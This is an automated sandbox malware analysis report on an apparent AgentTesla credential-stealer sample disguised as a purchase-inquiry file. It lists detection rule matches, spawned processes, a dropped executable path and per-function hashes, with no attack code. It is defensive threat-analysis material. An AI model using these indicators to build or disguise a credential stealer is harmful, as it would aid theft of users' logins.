Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000030.00000002.2877901296.0000000002D2F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000030.00000002.2877901296.0000000002D37000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000030.00000002.2877901296.0000000002CE5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000030.00000002.2877901296.0000000002CE5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	09:21:20
Start date:	08/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
Imagebase:	0x230000
File size:	47'584 bytes
MD5 hash:	94C8E57A80DFCA2482DEDB87B93D4FD9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	09:21:20
Start date:	08/05/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -pss -s 568 -p 8396 -ip 8396
Imagebase:	0x7ff68a250000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	09:21:21
Start date:	08/05/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 8396 -s 1352
Imagebase:	0x7ff68a250000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	09:21:24
Start date:	08/05/2024
Path:	C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe"
Imagebase:	0x8b0000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	09:21:24
Start date:	08/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	09:21:37
Start date:	08/05/2024
Path:	C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe"
Imagebase:	0x980000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	09:21:37
Start date:	08/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	13
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9B8C0658 Relevance: 3.6, Strings: 2, Instructions: 1115
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

x6f/, xrefs: 00007FFD9B8C0D59
x6f/, xrefs: 00007FFD9B8C0E69

Memory Dump Source

Source File: 00000000.00000002.1670378255.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.jbxd

Similarity

API ID:
String ID: x6f/$x6f/
API String ID: 0-3524692040
Opcode ID: c4e2273b221ddd997c052ec2f0771830121e8ac993d03f576aad17dd4ab1ee58
Instruction ID: 07a03b019612da27e76632c77f5667a82b06d2a37358a20c9be05ea44d25f8e1
Opcode Fuzzy Hash: c4e2273b221ddd997c052ec2f0771830121e8ac993d03f576aad17dd4ab1ee58
Instruction Fuzzy Hash: EE727A3061DB4D4FD769EB28C4A04B577E1FF99300B0546BEE48AC72A6DE34E946CB81

Function 00007FFD9B8B5AB0 Relevance: 1.6, Strings: 1, Instructions: 349
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fish, xrefs: 00007FFD9B8B5B00

Memory Dump Source

Source File: 00000000.00000002.1670378255.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.jbxd

Similarity

API ID:
String ID: fish
API String ID: 0-1064584243
Opcode ID: db2798f02d1b48f832891f12c287e572bec2b9d8a3ad20c24142c2425e7ae081
Instruction ID: 4cbf0724508f69e47928eb529577955daadd0f30f3a27b1e7ab44baae179c2a4
Opcode Fuzzy Hash: db2798f02d1b48f832891f12c287e572bec2b9d8a3ad20c24142c2425e7ae081
Instruction Fuzzy Hash: BE91E931B1DA1D0FE76CEB7898754B9B3D1FB59310B01467EE44BC3296EE24B9428B81

Function 00007FFD9B8BD511 Relevance: 1.4, Instructions: 1423COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670378255.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9913b86f4533616e2163a5aac24c83467278c3d124331cbc47fe88fc6fc0b602
Instruction ID: 4925671e97d51af4d6226765ec484e5185b53c82def5086900a9ceab0af2e9a8
Opcode Fuzzy Hash: 9913b86f4533616e2163a5aac24c83467278c3d124331cbc47fe88fc6fc0b602
Instruction Fuzzy Hash: 10A2683060DB5A4FE769DF38C4A44A5B7E1FF89301B1545BED48AC72A2DE34E946CB80

Function 00007FFD9B8BA200 Relevance: .9, Instructions: 919COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670378255.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0c2b06de95dbee1ae3e683a59344763ef98003cd555492227cdee767cce2016
Instruction ID: abef869682d28f11671815bbb35297065e0d29bcfd286ee4fa13aab2dce068c7
Opcode Fuzzy Hash: f0c2b06de95dbee1ae3e683a59344763ef98003cd555492227cdee767cce2016
Instruction Fuzzy Hash: 6F52F930B09A1D4FDBA8DB68D465A7977E1FF58301F1501BEE04EC36A2DE24ED428B81

Function 00007FFD9B8B0620 Relevance: .6, Instructions: 558COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670378255.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bf342b64b0ff932ada13122418f46e208a157e887db4ca4c872d675f8f46c5e
Instruction ID: 56b02c09f5435df91861d2ed920cdef8ea1b7bb62a4cc2161a30ae03bf758b98
Opcode Fuzzy Hash: 9bf342b64b0ff932ada13122418f46e208a157e887db4ca4c872d675f8f46c5e
Instruction Fuzzy Hash: B4227071E1962E8FEBA8DF64C8657A9B7B1FF49300F1101BAD01D97295CB356A81CF40

Function 00007FFD9B8BD130 Relevance: .4, Instructions: 440COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670378255.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 532a111537e20189ebdcc29fec5320e08c8fbaac493048190b61f516820b76a4
Instruction ID: 8333431bd690e5ba1b107b481581d7af2f42f6572c29d42dc60e912e5f82e723
Opcode Fuzzy Hash: 532a111537e20189ebdcc29fec5320e08c8fbaac493048190b61f516820b76a4
Instruction Fuzzy Hash: 18D18C3160DB9A4FE32DCB3884A11B5B7E1FFD9301B05467EE4C6C72A1DA24E546CB81

Function 00007FFD9B8C6478 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670378255.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fa189c5ad23023ead5d3297d6cd2b95c208bc2d9b3f597b7f8cdae61b6d7d58
Instruction ID: 0214164435ad8343cea8d1b5c1f50a045f2a15c75ec9f0e1d8d93c78361ea34f
Opcode Fuzzy Hash: 0fa189c5ad23023ead5d3297d6cd2b95c208bc2d9b3f597b7f8cdae61b6d7d58
Instruction Fuzzy Hash: 3941777160D7890FC31E9B7488211B27BA1EB57310B1682BFD487CB1E7EC28AD468392

Function 00007FFD9B98026B Relevance: 2.4, Strings: 1, Instructions: 1113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

A, xrefs: 00007FFD9B980786

Memory Dump Source

Source File: 00000000.00000002.1670677825.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b980000_RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.jbxd

Similarity

API ID:
String ID: A
API String ID: 0-3554254475
Opcode ID: e061f4fe95e53bc049642eb4045608ba86a20c460b1bce62c79466fbcf3e6e99
Instruction ID: 040e8c38f67bccfe2d52176c264d3417d9356650ae752ff9a241c520845f3d2e
Opcode Fuzzy Hash: e061f4fe95e53bc049642eb4045608ba86a20c460b1bce62c79466fbcf3e6e99
Instruction Fuzzy Hash: 1D726971A1FB8A5FE766CB68C8655A87BE0EF51700F0606FED08DCB0A3DA346946C741

Function 00007FFD9B8B3740 Relevance: 1.7, APIs: 1, Instructions: 211
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1670378255.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0fb15fe985c33fdd4edd5bf24ee7267efb3a39aec812dd401811e7ec6e4b7b1
Instruction ID: ca855410ca1db984f78c28da4ba38a6b37242fd1597ac4aa0c89975091cd0c76
Opcode Fuzzy Hash: c0fb15fe985c33fdd4edd5bf24ee7267efb3a39aec812dd401811e7ec6e4b7b1
Instruction Fuzzy Hash: 6361907090975C8FDB58DFA8C895AE9BBF0FF1A300F1041AED049972A2DB74A945CF85

Function 00007FFD9B8B47A6 Relevance: 1.7, APIs: 1, Instructions: 202
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FFD9B8B48F5

Memory Dump Source

Source File: 00000000.00000002.1670378255.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 0d5dafb17b1a3b6319ddce7915fdc72e66b744f8f83f521b70924221c024bde2
Instruction ID: 2acf608d2c841fc0181f1fdfbeab180d1004b55fc532fa06fafa9e09ddefc1fd
Opcode Fuzzy Hash: 0d5dafb17b1a3b6319ddce7915fdc72e66b744f8f83f521b70924221c024bde2
Instruction Fuzzy Hash: A2517F7090874C8FDB58DF68C855BE9BBF0FB5A310F1402AED449E3292DB74A985CB81

Function 00007FFD9B8C5D7A Relevance: 1.7, APIs: 1, Instructions: 173
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FFD9B8C9BF6

Memory Dump Source

Source File: 00000000.00000002.1670378255.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 589e6f5076f9fa479f0e32474c5009b4f187664cfbf952e9a8d0c345aac99401
Instruction ID: f151544303ddfb6b3f36b611ed90b3dbf190b23cdcbb284ebd84ee16908fd522
Opcode Fuzzy Hash: 589e6f5076f9fa479f0e32474c5009b4f187664cfbf952e9a8d0c345aac99401
Instruction Fuzzy Hash: 18514C7091861C8FDB58DF98C885BEDBBF1FB59310F10416ED44AE3251DB70A981CB81

Function 00007FFD9B8B0A0D Relevance: 1.6, APIs: 1, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 00007FFD9B8B0ACE

Memory Dump Source

Source File: 00000000.00000002.1670378255.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: 7170b1d589fb1e4cd46d72328f8bea376acddda3d1aec330fccaeb790c5df911
Instruction ID: 71d2dbf544d9073cd60d6865cdffe9edb1fcc2a57ba2bcc038dad54b98bd3e12
Opcode Fuzzy Hash: 7170b1d589fb1e4cd46d72328f8bea376acddda3d1aec330fccaeb790c5df911
Instruction Fuzzy Hash: 1C418F34A0875C8FDB54DFA8C889BEDBBF0FB1A311F1041AAD049D7252DB74A945CB41

Function 00007FFD9B8B04BA Relevance: 1.6, APIs: 1, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 00007FFD9B8B0ACE

Memory Dump Source

Source File: 00000000.00000002.1670378255.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: 1c33fe11f24b4fb623ea540b2fc1b5c9f33731fc83a00bc69aeb2da1f8d65f2a
Instruction ID: f3b48265a86cabe9f69aa6646b10775eeab2eb5e659d0d33d51326bb497cab17
Opcode Fuzzy Hash: 1c33fe11f24b4fb623ea540b2fc1b5c9f33731fc83a00bc69aeb2da1f8d65f2a
Instruction Fuzzy Hash: 98316A74A0871C8FEB58DF98D889BEDB7F0FB19311F10416AD00AE7252DB74A985CB50

Non-executed Functions

Function 00007FFD9B8B44F5 Relevance: 2.8, Strings: 2, Instructions: 255COMMON

Download Yara Rule

Strings

FS:, xrefs: 00007FFD9B8B472C
FS:, xrefs: 00007FFD9B8B4548

Memory Dump Source

Source File: 00000000.00000002.1670378255.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.jbxd

Similarity

API ID:
String ID: FS:$FS:
API String ID: 0-4179540653
Opcode ID: e74bf6787a53a3dbe3e243c2f5c0d68025273587ac8ae0bdc1826d2116911a8b
Instruction ID: de8cf527cd1c5ebb6776c9e647c5911ae4e8126b84d0c0959355f30d6cafa844
Opcode Fuzzy Hash: e74bf6787a53a3dbe3e243c2f5c0d68025273587ac8ae0bdc1826d2116911a8b
Instruction Fuzzy Hash: 4481B430A09A8D8FDBA8DF28C856BE977E1FF59310F14412EE84DC7292DB749945CB81

Function 00007FFD9B8B91F2 Relevance: 1.7, Strings: 1, Instructions: 440COMMON

Download Yara Rule

Strings

1, xrefs: 00007FFD9B8B92FC

Memory Dump Source

Source File: 00000000.00000002.1670378255.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.jbxd

Similarity

API ID:
String ID: 1
API String ID: 0-2212294583
Opcode ID: ba25f2859f312bdd66d9c59300b22336a8e2918951884c960f931b3fbb0776e8
Instruction ID: 0166ede28bd95649eab530d32d61a925c1780a9c34dd997a2b57a977d4ad6705
Opcode Fuzzy Hash: ba25f2859f312bdd66d9c59300b22336a8e2918951884c960f931b3fbb0776e8
Instruction Fuzzy Hash: FCD14853A0F6E60BE72657BC6C791F97F90EF5626470A04FBC0988B0E7D809690A87C1

Function 00007FFD9B8C58D9 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670378255.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3ae4a3856a89dc8cd407d0c3ffa570e35b650e2fd575a999f845d3b4571fbdd
Instruction ID: ee477c574bf451ab53f099f54c71c7c03cb67b62b69060232600af782eac71a8
Opcode Fuzzy Hash: e3ae4a3856a89dc8cd407d0c3ffa570e35b650e2fd575a999f845d3b4571fbdd
Instruction Fuzzy Hash: 40512872A0E3C50FD31A9B7988664B17FA5DF8722070A82FFD0C6CB1A7E515680BC391

Analysis Process: svchost.exePID: 7792, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	11.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	100
Total number of Limit Nodes:	9

Executed Functions

Function 00007FFD9B883740 Relevance: 1.7, APIs: 1, Instructions: 211
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2009551549.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b880000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e18a69a343682144af7a627a0bce0573d0a2dcec357953ae9b1446aea668d37
Instruction ID: 098e8e6b546b0d5cd617a77b203745698a4e5421bedb63b616375d4717016522
Opcode Fuzzy Hash: 5e18a69a343682144af7a627a0bce0573d0a2dcec357953ae9b1446aea668d37
Instruction Fuzzy Hash: 62618170909B4C8FDB58EF98C895AE9BBF0FF19310F1041AED059972A2DB74A941CB41

Function 00007FFD9B8847A6 Relevance: 1.7, APIs: 1, Instructions: 202
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FFD9B8848F5

Memory Dump Source

Source File: 00000008.00000002.2009551549.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b880000_svchost.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: f2997479f0f2e8eea82eed9a219091bccb2cd6a0c15f5311b692da3812c2ed72
Instruction ID: 9f528366f551fe0ca2ee992eb64315967b4d5c26dae76075c0a6238e06a822a8
Opcode Fuzzy Hash: f2997479f0f2e8eea82eed9a219091bccb2cd6a0c15f5311b692da3812c2ed72
Instruction Fuzzy Hash: 81517F7090874C8FDB58DF68C855BE9BBF1FB5A310F1402AED049E3292DB74A881CB41

Function 00007FFD9B895D7A Relevance: 1.7, APIs: 1, Instructions: 173
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FFD9B899BF6

Memory Dump Source

Source File: 00000008.00000002.2009551549.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b880000_svchost.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 1251cf25156c06b9b1abd56414be1d13e4c5e447eeb97e0446510d4c04f94fbe
Instruction ID: 8eeda2b4b546946926a74824f2c0a0199592a5e0c8ccff4f071bac3f0ad03652
Opcode Fuzzy Hash: 1251cf25156c06b9b1abd56414be1d13e4c5e447eeb97e0446510d4c04f94fbe
Instruction Fuzzy Hash: 5B512874918A1C8FDB58DF98C885BEDBBF1FB69314F10426ED44AE3251DB70A981CB81

Function 00007FFD9B880A0D Relevance: 1.6, APIs: 1, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 00007FFD9B880ACE

Memory Dump Source

Source File: 00000008.00000002.2009551549.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b880000_svchost.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: a77df8943f9ddad278ac432f1cf19260f7837383567197514d62bf189222af45
Instruction ID: f8900d5a8cd6790f8d3c20e70e411b835f9b907359b6847885d90f5de41aa298
Opcode Fuzzy Hash: a77df8943f9ddad278ac432f1cf19260f7837383567197514d62bf189222af45
Instruction Fuzzy Hash: 62418F34A0875C8FDB54DF98C889BEDBBF0FB1A311F1002AAD049D7252DB74A945CB41

Function 00007FFD9B8804BA Relevance: 1.6, APIs: 1, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 00007FFD9B880ACE

Memory Dump Source

Source File: 00000008.00000002.2009551549.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b880000_svchost.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: 389b9f4190c45f875ebad5a1bae35767b6a8ee0501bdde4bca3a79c678f09d6d
Instruction ID: 652b5139ec7cbeae02e895c8ef6ac3f265438811d7997db50b912ece0659f08a
Opcode Fuzzy Hash: 389b9f4190c45f875ebad5a1bae35767b6a8ee0501bdde4bca3a79c678f09d6d
Instruction Fuzzy Hash: 10316C74A08B1C8FEB54DF98D889BEDB7F0FB19311F10426AD00AE7252DB74A945CB50

Function 00007FFD9B95026B Relevance: 1.5, Strings: 1, Instructions: 212
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

A, xrefs: 00007FFD9B950236

Memory Dump Source

Source File: 00000008.00000002.2010261542.00007FFD9B950000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b950000_svchost.jbxd

Similarity

API ID:
String ID: A
API String ID: 0-3554254475
Opcode ID: 90fa9a49c01ecb2fcdf1b0e8748483793304b74c24f412086b12f00ee92532c3
Instruction ID: bab7ef504c7ada31db0fc9616448fc2f5dcb99b7f4fac987581718be76a17679
Opcode Fuzzy Hash: 90fa9a49c01ecb2fcdf1b0e8748483793304b74c24f412086b12f00ee92532c3
Instruction Fuzzy Hash: 33619E30A1DA8D8FDB6ADF58C861AF87BE0FF55304F1505AED44ECB192CA75A942C740

Function 00007FFD9B951382 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2010261542.00007FFD9B950000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b950000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d51fe118379f3b866095e7569d91f1c39e57e5f0cf2c633a751134ccf24b10d
Instruction ID: 7a10e899aeae7a174a68fe3bdc2162b1bbea783f4f28e63bea3a01dcfcddfe01
Opcode Fuzzy Hash: 6d51fe118379f3b866095e7569d91f1c39e57e5f0cf2c633a751134ccf24b10d
Instruction Fuzzy Hash: A8313B3155EA9D4FDB1ADF64C8650B43BB1FF16304B0642ABD44ACB0E7DA69B942C740

Analysis Process: svchost.exePID: 7872, Parent PID: 7704COMMON

Execution Graph

Execution Coverage:	10.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	79
Total number of Limit Nodes:	4

Executed Functions

Function 00007FFD9B97026B Relevance: 2.3, Strings: 1, Instructions: 1089
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

A, xrefs: 00007FFD9B970786

Memory Dump Source

Source File: 0000000A.00000002.1972138673.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b970000_svchost.jbxd

Similarity

API ID:
String ID: A
API String ID: 0-3554254475
Opcode ID: cc3987cd2a9fb9d711924ab44e78ad9f792ad3ba54f73d83a30ea9ee732b82c3
Instruction ID: 3405ddc5a8cb773090993712d7b4ae703d9b53984adee5d02067f6c2b46c1c7c
Opcode Fuzzy Hash: cc3987cd2a9fb9d711924ab44e78ad9f792ad3ba54f73d83a30ea9ee732b82c3
Instruction Fuzzy Hash: 93728C31A1E7895FDF65CB68C8A55A47FE0FF95700F0A06FED08DCB1A2DA246906C781

Function 00007FFD9B8A3740 Relevance: 1.8, APIs: 1, Instructions: 270
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1969659352.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8a0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87891662af74d9234ff53513049f8acededd8650d87da73cd6395334819e227e
Instruction ID: 412ca4980512ac1602c24f685036820044ed0c5f76e3e70ba9c18e54248caf32
Opcode Fuzzy Hash: 87891662af74d9234ff53513049f8acededd8650d87da73cd6395334819e227e
Instruction Fuzzy Hash: 8891E4B190D68C8FDB59DF98D8A5AE87BF0FF16314F0401BED089972A3EA346945CB41

Function 00007FFD9B8A47A6 Relevance: 1.7, APIs: 1, Instructions: 202
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FFD9B8A48F5

Memory Dump Source

Source File: 0000000A.00000002.1969659352.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8a0000_svchost.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 177e845c0d66ac708e524cc20289556cd677f5e8c4ba8a7afb3c2348e5374c02
Instruction ID: c5aba688bf4c1b375049b4bf32ac1a23a94522d8f6695c9398ed74e6d9bfed62
